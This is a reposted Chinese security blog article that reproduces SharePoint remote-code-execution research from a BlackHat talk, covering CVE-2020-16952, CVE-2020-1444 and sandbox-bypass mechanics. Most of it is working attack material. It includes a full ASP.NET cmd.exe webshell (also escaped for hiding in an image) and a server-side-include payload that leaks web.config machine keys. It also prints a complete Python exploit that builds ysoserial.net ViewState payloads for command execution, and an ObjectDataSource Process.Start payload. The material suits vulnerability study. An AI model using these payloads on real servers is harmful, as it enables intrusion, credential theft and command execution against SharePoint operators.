专栏首页鸿鹄实验室SharePoint RCE From 0 to 0.9

SharePoint RCE From 0 to 0.9

本文为总结类文章,所写皆为对BlackHat议题Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf 的复现学习,国内也有青藤云实验室的复现文章,有兴趣的推荐去看原文。

前置知识

首先,我们要了解的一个东西就是sharepoint,它是微软用 .net 开发的一套 cms。既然是 cms 肯定允许用户上传,普通用户通过 PUT /my.aspx 的方式就可以上传自己写的任何内容,之后通过 GET /my.aspx 可以看到。虽然我可以在 my.aspx 中写任何内容,但并不是我写的任何内容都会被 SP 服务端解析,这也是其区别于一般cms的地方。我们可以通过一个例子来查看这个东西。

测试环境:SharePoint 2016

我这里首先创建了一个门户网站,需要注意的是,在Sharepoint中新建网站,默认的存储路径为:

C:\inetpub\wwwroot\wss\VirtualDirectories\{端口号}

目录结构如下:

关于sharepoint服务器的识别,可以使用whatcms等来识别。

目录扫描可以使用:

gobuster dir -u http://192.168.2.105:8082/ -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt

假设我们上传上去了一个aspx的文档

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

直接访问

我们只需要在PageParserPath加入下面的代码

<PageParserPath
  VirtualPath="/*"
  CompilationMode="Always"
  AllowServerSideScript="true"
  IncludeSubFolders="true" />

就可以执行命令了

我们也可以使用jpg的方法来实现,首先找到一个图片,然后将webshell代码,转义出来:

<script Language=\"c#\" runat=\"server\">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = \"cmd.exe\";psi.Arguments = \"/c \"+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write(\"<pre>\");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write(\"</pre>\");}</script><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body ><form id=\"cmd\" method=\"post\" runat=\"server\"><asp:TextBox id=\"txtArg\" style=\"Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px\" runat=\"server\" Width=\"250px\"></asp:TextBox><asp:Button id=\"testing\" style=\"Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px\" runat=\"server\" Text=\"excute\" OnClick=\"cmdExe_Click\"></asp:Button><asp:Label id=\"lblText\" style=\"Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px\" runat=\"server\">Command:</asp:Label></form></body></HTML>

然后使用exiftool来将代码插入图片

若是低版本的sharepoint便可以利用该方法执行命令了。其沙箱原理如下:

上述逻辑具体是通过

Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter 来实现,实际上是通过网页文件的 path 来区分:

如果进入了if分支,沙箱就会生效,简称 filter 机制。

但是,在服务端最终用System.Web.UI.TemplateControl.ParseControl()解析网页时,如果按照下面的方式使用:

ParseControl(content);
ParseControl(content, ?true?);

filter 机制就会失效,只有第2个参数显示指定为 false 时才 ok,我猜作者大概按照这个思路没有找到直接可用的漏洞,但是发现在 design mode 下,filter 机制都会失效,但是会有新的校验方法:Microsoft.SharePoint.EditingPageParser.VerifyControlOnSafeList()

internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false)

这个方法简称 verify 机制,和ParseControl一样,最后一个参数也会影响安全因素,当最后一个参数为 false 时(默认 false),允许使用 include 指令。

反序列化、ViewState与MachineKey

推荐文章:https://www.t00ls.net/articles-55183.html

一般情况下,我们拿到MachineKey,其格式如下:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />

就可以来进行反序列化甚至是RCE。

CVE-2020-0974

该漏洞为一个RCE漏洞,漏洞点在于

verify 机制中,VerifyControlOnSafeList 方法的 blockServerSideIncludes 参数(最后一个参数)为 false 时允许使用 include 指令。

主要利用思路如下:

利用include去读取目标web.config中的MachineKey---->利用key生成可RCE的payload

其exp如下(引号已转义):

<%@ Register TagPrefix=\"WebPartPages\"
Namespace=\"Microsoft.SharePoint.WebPartPage\" Assembly=\"Microsoft.SharePoint,
Version = 16.0.0.0, Culture = neutral, PublicKeyToken = 71e9bce111e9429c\" %>
<WebPartPages:DataFormWebPart runat = \"server\" Title = \"Title\" DisplayName =
\"Name\" ID = \"id1\" >
<xsl>
<!--#include
file=\"c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config\"-->
</xsl>
</WebPartPages:DataFormWebPart>

打exp

需要进行html编码

更改目录,这个目录如有需要则只能去进行爆破,没有太好的方法来进行猜解

得到machineKey:

<machineKey validationKey="A2BA2AD5D54775F3F5C669988F8DD2AAF50B218385E9858F3763672F558324CB"
 decryptionKey="128E38A90BC76010195252D42174D84A6299FF15A2659A16E8E15695821DAD01" 
 validation="HMACSHA256" />

在 HMACSHA256 加密的情况下,我只需要 validationKey 字段就可以完成反序列化利用。这里一般使用_layouts/15/zoombldr.aspx来进行反序列化操作。

利用脚本地址如下:

https://srcincite.io/pocs/cve-2020-16952.py.txt ,更改后的脚本如下:

#!/usr/bin/python3
"""
Microsoft SharePoint Server DataFormWebPart CreateChildControls Server-Side Include Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952

## Summary:

An authenticated attacker can craft pages to trigger a server-side include that can be leveraged to leak the web.config file. The attacker can leverage this to achieve remote code execution.

## Notes:

- this does not require the use of a SharePoint endpoint such as WebPartPagesWebService
- the attacker needs AddAndCustomizePages permission enabled which is the default
- you will need to compile and store ysoserial.net in the same folder as this exploit

## Vulnerability Analysis:

Inside of the Microsoft.SharePoint.WebPartPages.DataFormWebPart we can observe the `CreateChildControls`

```c#
namespace Microsoft.SharePoint.WebPartPages
{
    [XmlRoot(Namespace = "http://schemas.microsoft.com/WebPart/v2/DataView")]
    [ParseChildren(true)]
    [Designer(typeof(DataFormWebPartDesigner))]
    [SupportsAttributeMarkup(true)]
    [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
    [SharePointPermission(SecurityAction.LinkDemand, ObjectModel = true)]
    [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
    [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
    public class DataFormWebPart : BaseXsltDataWebPart, IDesignTimeHtmlProvider, IPostBackEventHandler, IWebPartRow, ICallbackEventHandler, IConnectionData, IListWebPart
    {
    
        // ...
        [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
        protected override void CreateChildControls()
        {
            if (!this.Visible)
            {
                return;
            }
            if (!this.AreAllConsumerInterfacesFulfilled())
            {
                this._deferredXSLTBecauseOfConnections = true;
                return;
            }
            if ((base.DesignMode && this.AllowXSLTEditing) || this._forAJAXDropDown)
            {
                return;
            }
            if (this.IsMondoCAMLWebPart() && !base.DesignMode && !string.IsNullOrEmpty(this.ListName) && !this.IsForm)
            {
                SPContext context = SPContext.GetContext(this.Context, base.StorageKey, new Guid(this.ListName), this.CurrentWeb);
                if (context != null)
                {
                    SPViewContext viewContext = context.ViewContext;
                    if (this is BaseXsltListWebPart)
                    {
                        BaseXsltListWebPart baseXsltListWebPart = this as BaseXsltListWebPart;
                        if (baseXsltListWebPart.view != null)
                        {
                            viewContext.View = baseXsltListWebPart.view;
                        }
                    }
                    if (viewContext != null && base.RenderMode != RenderMode.Design && base.RenderMode != RenderMode.Preview)
                    {
                        viewContext.RedirectIfNecessary();
                    }
                }
            }
            base.CreateChildControls();
            this.AddDataSourceControls();
            UpdatePanel updatePanel = null;
            if (this.AsyncRefresh)
            {
                this.CreateAsyncPostBackControls(ref updatePanel);
                this.AddAutoRefreshTimer(updatePanel);
            }
            if (base.DesignMode || !this.InitialAsyncDataFetch || this.Page == null || this.Page.IsCallback)
            {
                this.EnsureDataBound();                                                                                              // 1
            }
            else
            {
                this._asyncDelayed = true;
                if (this.SPList != null && this.SPList.HasExternalDataSource)
                {
                    this.deferXsltTransform = false;
                    this.EnsureDataBound();
                }
                string text = Utility.MakeLayoutsRootServerRelative("images/gears_an.gif");
                string @string = WebPartPageResource.GetString("DataFormWebPartRefreshing");
                this._partContent = this._partContent + "<div id=\"" + this.dfwpWPDiv + "\" style=\"padding-top:5px;\">";
                string partContent = this._partContent;
                this._partContent = string.Concat(new string[]
                {
                    partContent,
                    "<center><img src='",
                    text,
                    "' alt='",
                    @string,
                    "' style='border-width:0px;' /></center>"
                });
                this._partContent += "</div>";
            }
            this.EditMode = false;
            if (this._partContent != null)
            {
                if (this.IsForm && this.DataSource is SPDataSource && base.PageComponent != null && this.ItemContext != null)
                {
                    this.ItemContext.CurrentPageComponent = base.PageComponent;
                }
                bool flag = this.view != null && base.PageComponent != null;
                if ((this.IsGhosted || flag) && !this.UseSchemaXmlToolbar && this.ToolbarControl != null)
                {
                    if (base.PageComponent != null)
                    {
                        this.ToolbarControl.RenderContext.CurrentPageComponent = base.PageComponent;
                    }
                    if ((this.view == null || !this.view.IsGroupRender) && (!this._asyncDelayed || flag))
                    {
                        if (this.AsyncRefresh && updatePanel != null)
                        {
                            updatePanel.ContentTemplateContainer.Controls.Add(this.ToolbarControl);
                        }
                        else
                        {
                            this.Controls.Add(this.ToolbarControl);
                        }
                    }
                }
                else
                {
                    this.CanHaveServerControls = true;
                }
                if (this.CanHaveServerControls && DataFormWebPart.RunatChecker.IsMatch(this._partContent))                           // 2
                {
                    if (this._assemblyReferences != null && this._partContent != null)
                    {
                        StringBuilder stringBuilder = new StringBuilder();
                        for (int i = 0; i < this._assemblyReferences.Length; i++)
                        {
                            stringBuilder.Append(this._assemblyReferences[i]);
                        }
                        stringBuilder.Append(this._partContent);
                        this._partContent = stringBuilder.ToString();
                    }
                    if (base.Web != null)
                    {
                        EditingPageParser.VerifyControlOnSafeList(this._partContent, null, base.Web, false);                         // 3
                    }
                    if (this.Page.AppRelativeVirtualPath == null)
                    {
                        this.Page.AppRelativeVirtualPath = "~/current.aspx";
                    }
                    bool flag2 = EditingPageParser.VerifySPDControlMarkup(this._partContent);
                    if (flag2)
                    {
                        ULS.SendTraceTag(595161362U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.Medium, "Allow DFWP XSL markup {0} to be parsed without parserFilter.", new object[]
                        {
                            this._partContent
                        });
                    }
                    Control control = this.Page.ParseControl(this._partContent, flag2);                                              // 4
                    SPDataSource spdataSource = this.DataSource as SPDataSource;
                    bool flag3 = false;
                    if (this.view != null && !string.IsNullOrEmpty(this.view.InlineEdit))
                    {
                        flag3 = this.view.InlineEdit.Equals("true", StringComparison.OrdinalIgnoreCase);
                    }
                    SPContext spcontext = null;
                    if (spdataSource != null && base.Web != null && (spdataSource.DataSourceMode == SPDataSourceMode.ListItem || (spdataSource.DataSourceMode == SPDataSourceMode.List && flag3)))
                    {
                        string text3;
                        if (spdataSource.DataSourceMode == SPDataSourceMode.List)
                        {
                            string text2 = (string)this.ParameterValues.Collection["dvt_form_key"];
                            text3 = text2;
                        }
                        else
                        {
                            text3 = spdataSource.ListItemID.ToString(CultureInfo.InvariantCulture);
                        }
                        if (text3 != null)
                        {
                            if (this.FormContexts.ContainsKey(text3))
                            {
                                spcontext = this.FormContexts[text3];
                            }
                            else
                            {
                                spcontext = SPContext.GetContext(this.Context, text3, ((IListWebPart)this).ListId, this.CurrentWeb);
                                this.FormContexts[text3] = spcontext;
                            }
                        }
                    }
                    foreach (object obj in control.Controls)
                    {
                        Control control2 = (Control)obj;
                        this.RecursivelyAddFormFieldContext(control2, spcontext);
                    }
                    if (spcontext != null && spdataSource != null)
                    {
                        spdataSource.ItemContext = spcontext;
                    }
                    if (this.AsyncRefresh && updatePanel != null)
                    {
                        updatePanel.ContentTemplateContainer.Controls.Add(control);                                                    // 5
                    }
                    else
                    {
                        this.AddParsedSubObject(control);
                    }
                    using (IEnumerator enumerator2 = control.Controls.GetEnumerator())
                    {
                        while (enumerator2.MoveNext())
                        {
                            object obj2 = enumerator2.Current;
                            Control control3 = (Control)obj2;
                            this.RecursivelyProcessChildFormControls(control3);
                        }
                        goto IL_632;
                    }
                }
                if (this.AsyncRefresh && updatePanel != null)
                {
                    if (this._listView != null)
                    {
                        updatePanel.ContentTemplateContainer.Controls.Add(this._listView);
                    }
                    else
                    {
                        Literal literal = new Literal();
                        literal.Text = this._partContent;
                        updatePanel.ContentTemplateContainer.Controls.Add(literal);
                    }
                }
                else if (this._listView != null)
                {
                    this.AddParsedSubObject(this._listView);
                }
                else
                {
                    this.AddParsedSubObject(new Literal
                    {
                        Text = this._partContent
                    });
                }
                IL_632:
                this.RemoveViewStateIfEmpty("ParamValues");
                this.RemoveViewStateIfEmpty("FilterOperations");
                this.RemoveViewStateIfEmpty("IntermediateFormActions");
                this.RemoveViewStateIfEmpty("OriginalValues");
                this._partContent = null;
                this._listView = null;
            }
            this._asyncDelayed = false;
        }
```

At *[1]*, the code performs a databind and accesses the data from the datasource (in this case it's our controlled serverside http header). The data returned must be valid xml so that it can be processed via our crafted xslt. Then at *[2]* the code calls `DataFormWebPart.RunatChecker.IsMatch` on our controlled `_partContent`. This checks for an instance of `runat=server` in the supplied xml. However, we can't put that in there because we can't register any prefixes (registration is probably not possible due to the <% not being a valid xml tag). But I found a way to pass the check by using HTML server controls which can include a `runat=server`.

At *[3]* the code calls `VerifyControlOnSafeList` with the false flag, meaning our input can use server-side includes. Lucky for us, includes are valid xml, so we can stuff them into our `_partContent` and later at *[4]* they are parsed and finally added to the page at *[5]*.

This allows an us to leak the complete `web.config` file, including the Validation Key which is enough to generate a malicious serialized viewState and trigger rce via deserialization.

## Fingerprint:

For detecting vulnerable versions before exploitation, you can use this:

```
PUT /poc.aspx HTTP/1.1
Host: [target]
Content-Length: 67

<asp:Literal runat="server" Text="<%$SPTokens:{ProductNumber}%>" />
```

Then https://[target]/poc.aspx should return 16.0.10364.20001.

## Credit:

Steven Seeley (mr_me) of Qihoo 360 Vulcan Team

## Example:

For testing, download ysoserial.net and store it in a folder called `yss`.

researcher@DESKTOP-H4JDQCB:~$ ./poc.py
(+) usage: ./poc.py <SPSite> <user:pass> <cmd>
(+) eg: ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### mspaint
(+) eg: ./poc.py win-3t816hj84n4/sites/test harryh@pwn.me:user123### notepad

researcher@DESKTOP-H4JDQCB:~$ ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### notepad
(+) leaked validation key: 55AAE0A8E646746523FA5EE0675232BE39990CDAC3AE2B0772E32D71C05929D8
(+) triggering rce, running 'cmd /c notepad'
(+) done! rce achieved
"""
import os
import re
import sys
import urllib3
import requests
import subprocess
from platform import uname
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def put_page(target, domain, user, password):
    payload = """<WebPartPages:DataFormWebPart runat="server">
<ParameterBindings>
  <ParameterBinding Name="ssi" Location="ServerVariable(HTTP_360Vulcan)" DefaultValue="" />
</ParameterBindings>
  <xsl>
    <xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
      <xsl:param name="ssi" />
      <xsl:template match="/">
        <xsl:value-of select="$ssi" disable-output-escaping="yes" />
      </xsl:template>
    </xsl:stylesheet>
  </xsl>
</WebPartPages:DataFormWebPart>"""
    r = requests.put("http://%s/poc.aspx" % target, data=payload, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password))
    assert (r.status_code == 200 or r.status_code == 201), "(-) page creation failed, user doesn't have site ownership rights!"

def get_vkey(target, domain, user, password):
    h = { "360Vulcan": "<form runat=\"server\" /><!--#include virtual=\"/web.config\"-->" }
    r = requests.get("http://%s/poc.aspx" % target, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password), headers=h)
    match = re.search("machineKey validationKey=\"(.{64})", r.text)
    assert match, "(-) unable to leak the validation key, exploit failed!"
    return match.group(1)

def trigger_rce(target, domain, path, user, password, cmd, key):
    out = subprocess.Popen([
        'yss/ysoserial.exe', 
        '-p', 'ViewState',
        '-g', 'TypeConfuseDelegate',
        '-c', '%s' % cmd,
        '--apppath=%s' % path,
        '--path=%s_layouts/15/zoombldr.aspx' % path,
        '--islegacy',
        '--validationalg=HMACSHA256',
        '--validationkey=%s' % key
    ], stdout=subprocess.PIPE)
    rce = { "__VIEWSTATE" : out.communicate()[0].decode() }
    requests.post("http://%s/_layouts/15/zoombldr.aspx" % target, data=rce, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password))

def main():
    if len(sys.argv) != 4:
        print("(+) usage: %s <SPSite> <user:pass> <cmd>" % sys.argv[0])
        print("(+) eg: %s win-3t816hj84n4 harryh@pwn.me:user123### mspaint" % sys.argv[0])
        print("(+) eg: %s win-3t816hj84n4/sites/test harryh@pwn.me:user123### notepad" % sys.argv[0])
        sys.exit(-1)
    target = sys.argv[1]
    user = sys.argv[2].split(":")[0].split("@")[0]
    password = sys.argv[2].split(":")[1]
    domain = sys.argv[2].split(":")[0].split("@")[1]
    cmd = sys.argv[3]
    path = urlparse("http://%s" % target).path or "/"
    path = path + "/" if not path.endswith("/") else path
    ##put_page(target, domain, user, password)
    key = "A2BA2AD5D54775F3F5C669988F8DD2AAF50B218385E9858F3763672F558324CB"
    print("(+) leaked validation key: %s" % key)
    print("(+) triggering rce, running 'cmd /c %s'" % cmd)
    trigger_rce(target, domain, path, user, password, cmd, key)
    print("(+) done! rce achieved")

if __name__ == '__main__':
    if "microsoft" not in uname()[2].lower():
        print("(-) WARNING - this was tested on wsl, so it may not work on other platforms")
    if not os.path.exists('yss/ysoserial.exe'):
        print("(-) missing ysoserial.net!")
        sys.exit(-1)
    main()

成功RCE

CVE-2019-0604

推荐之前的文章CVE-2019-0604分析及武器化

CVE-2020-1444

测试环境:

  • Server2016
  • SP2016
  • dnSpy

背景知识

ObjectDataSource

通过 ObjectDataSource 定义知道在 asp.net 中 ObjectDataSource可以调用任意运行时方法,类似 ObjectDataProvider

Asp.Net 的内联表达式

<%-- ... -- %> 表示注释

<%@ ... %> 表示指令

刚刚的代码如下:

<%@ Register TagPrefix="asp3" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>

<asp3:ObjectDataSource ID="ODS1" runat="server" SelectMethod="Start" TypeName="System.Diagnostics.Process" >
  <SelectParameters>
    <asp3:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
  </SelectParameters>
</asp3:ObjectDataSource>
<asp3:ListBox ID="LB1" runat="server" DataSourceID = "ODS1" />

Register类似于python中的Import,这里就是引用命名空间:System.Web.UI.WebControls,并命名别名为asp3。之后的<asp3:ObjectDataSource,则表示调用System.Web.UI.WebControls下面的ObjectDataSource,这里即为asp3。

关于该方法,官方文档地址为:https://docs.microsoft.com/zh-cn/dotnet/api/system.web.ui.webcontrols.objectdatasource?view=netframework-4.8

其构造方法如下:

public ObjectDataSource (string typeName, string selectMethod);

漏洞原理

漏洞位置:/_layouts/15/WebPartEditingSurface.aspx

借议题的图:

用户输入在经过服务端校验后,被服务端修改后再使用,这个顺序显然是有问题的,也是漏洞成因,具体到代码里

//Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage

注意,在ParseControl使用时没用加上第二个参数。而按照之前所说,这样就会造成沙箱逃逸。

整个漏洞流程如下:

其主要问题点ConvertMarkupToTree,着重分析一下,须提供的参数:WebPartUrl 和 Url

Url 参数暂时不管,在后面漏洞利用章节会去讨论。通过对代码 trace 可以发现 WebPartUrl 指向的文件必须是一个 xml,这个 xml 还有其他要求,暂且不提。从服务端取参到 ConvertMarkupToTree 的处理步骤是:

  • 取参(url of xml)
  • 通过 web 获取 xml 的字符串流(GetWebPartMarkup)
  • 对字符串流做一些预处理,包括校验(ConvertWebPartMarkup)
  • 将字符串流转成 xml 树(ConvertMarkupToTree)
  • 经过各种处理,将 xml 树 转回字符串流(xelement2.ToString)
  • 网页解析(ParseControl)

从上面可以看出 string -> xml tree 发生在校验之后,看看具体做了哪些事

正则如下:

这个正则匹配的是内联表达式中的 Register 指令,有两个命名捕获:TagPrefix 和 DllInfo。

TagPrefix 用正则捕获,DllInfo 是 TagPrefix 之后的所有内容。比如下面的例子:

漏洞利用

<%@ Register TagPrefix="WebPartPages"
Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint,
Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="SearchW"
Namespace="Microsoft.Office.Server.Search.WebControls"
Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="asp3" Namespace="System.Web.UI.WebControls"
Assembly="System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" %>
<SearchW:DataProviderScriptWebPart ID="DPSWebPart1" runat="server" />
<div id="cdata1"><![CDATA[
<%-- prefix
--%<%@ Register TagPrefix="asp" Namespace="System.Web.UI.WebControls"
Assembly="System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" %>>
<asp3:ObjectDataSource ID="ODS1" runat="server" SelectMethod="Start"
TypeName="System.Diagnostics.Process" >
<SelectParameters>
<asp3:Parameter Direction="input" Type="string" Name="fileName"
DefaultValue="calc"/>
</SelectParameters>
</asp3:ObjectDataSource>
<asp3:ListBox ID="LB1" runat="server" DataSourceID = "ODS1" />
<%-- sufix
--%>
]]></div>

利用过程跟 CVE-2020-16951类似,都是先将POC的xmlput上去,然后再访问指定的url来进行触发。

参数可以在母版页找到

上传成功

下面就是访问指定链接的问题了

GET /_layouts/15/WebPartEditingSurface.aspx?WebPartUrl=http://.../poc.xml&Url=/_catalogs/masterpage/seattle.master HTTP/1.1

然而报错了

我们需要用 SMP 打开了个 feature

PS C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\FEATURES> STSADM.EXE -o activatefeat
ure -filename .\PublishingResources\Feature.xml -url http://192.168.2.107:8082/ -force

此时再重新发包,即可成功复现。

参考文章:

https://paper.seebug.org/1424/

https://paper.seebug.org/1456/

https://paper.seebug.org/1430/

https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.designerserializationvisibilityattribute?view=net-5.0

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html

更多精彩推荐,请关注我们

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-06-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2020-0646 SharePoint RCE - POC

    工作流中的代码注入导致SharePoint RCE (CVE-2020-0646)

    Aran
  • Mybb 18.20 From Stored XSS to RCE 分析

    2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE[1],文章中主要提到了一个...

    Seebug漏洞平台
  • Mybb 18.20 From Stored XSS to RCE 分析

    2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE[1],文章中主要提到了一个...

    知道创宇云安全
  • 搭建.NET Framework 3.0开发环境 及SharePoint 2007/WSS 3环境

    第一步:首先您必须安装.NET Framework 3.0,则可以下载其Redistributable Package Microsoft .NET Frame...

    张善友
  • (收藏)搭建.NET Framework 3.0开发环境 及SharePoint 2007/WSS 3环境

    第一步:首先您必须安装.NET Framework 3.0,则可以下载其Redistributable Package Microsoft .NET Frame...

    用户1172164
  • phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析

    各位FreeBuf观众的姥爷大家好,我是艾登——皮尔斯(玩看门狗时候注册的ID),最近安全圈好不热闹,北京时间9月20日“杭州公安”官微发布了“杭州警方通报打击...

    FB客服
  • SharePoint 2013 Step by Step—— How to Upload Multiple Documents in Document Library

    How to Upload Multiple documents in SharePoint 2013,Options to add multiple file...

    用户1161731
  • Redis 4.x 5.xRCE的傻瓜式复现

    在车上无聊,突然看见redis出现的RCE,有大佬在github上方的poc,就用很卡的网在复现了一下,底层未知,先傻瓜式复现。

    用户5878089
  • Windows 商店应用中使用 Office 365 API Tools

    本篇我们介绍一个API 工具,用于在 Windows Store App 中使用 Office 365 API。 首先来说一下本文的背景: 使用 SharePo...

    Shao Meng
  • SQL Server Reporting Services(CVE-2020-0618)中的RCE

    SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告.

    洛米唯熊
  • SharePoint 2013 Step by Step——How to Create a Lookup Column to Another Site(Cross Site)

    OverView In this post,I want to show u how to add a look up column in my list or...

    用户1161731
  • Holiday -- hack the box

    Holiday is an insane box officially. It's really difficult to get the user permi...

    madneal
  • 转贴-WP7开发资源大收集

    文章作者: jason huang 文章标签: Microsoft, Windows Phone 7, WP7 转贴链接: WP7开发资源大收集 这里收集...

    ShiJiong
  • CVE-2020-28642 WP身份验证绕过和RCE

    InfiniteWP是 "免费的自我托管,多个WordPress网站管理解决方案。它简化了你的WordPress任务,只需点击一个按钮"。

    Aran
  • Lync Server 2013 部署前端池支持NLB吗?

        部署Lync server 2013前端池时遇到负载均衡的问题,没有HLB的硬件负载均衡设备,使用DNS负载轮询pool A记录建立多条指向不同的前端服...

    杨强生
  • 代码审计从0到1 —— Centreon One-click To RCE

    代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[1]的审计过程进行...

    Seebug漏洞平台
  • SharePoint 2013 How to Backup Site Collection Automatically With a PowerShell Script

    In this post I will introduce a way how to run a script for backing up SharePoin...

    用户1161731
  • 微软推出SQL Server 2005 Report Packs

    微软推出八个SQL Server 2005 报表类型,包括了: SQL Server 2005 Report Pack for SQL Server Integ...

    张善友
  • rConfig中的远程代码执行漏洞分析

    rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。

    FB客服

扫码关注云+社区

领取腾讯云代金券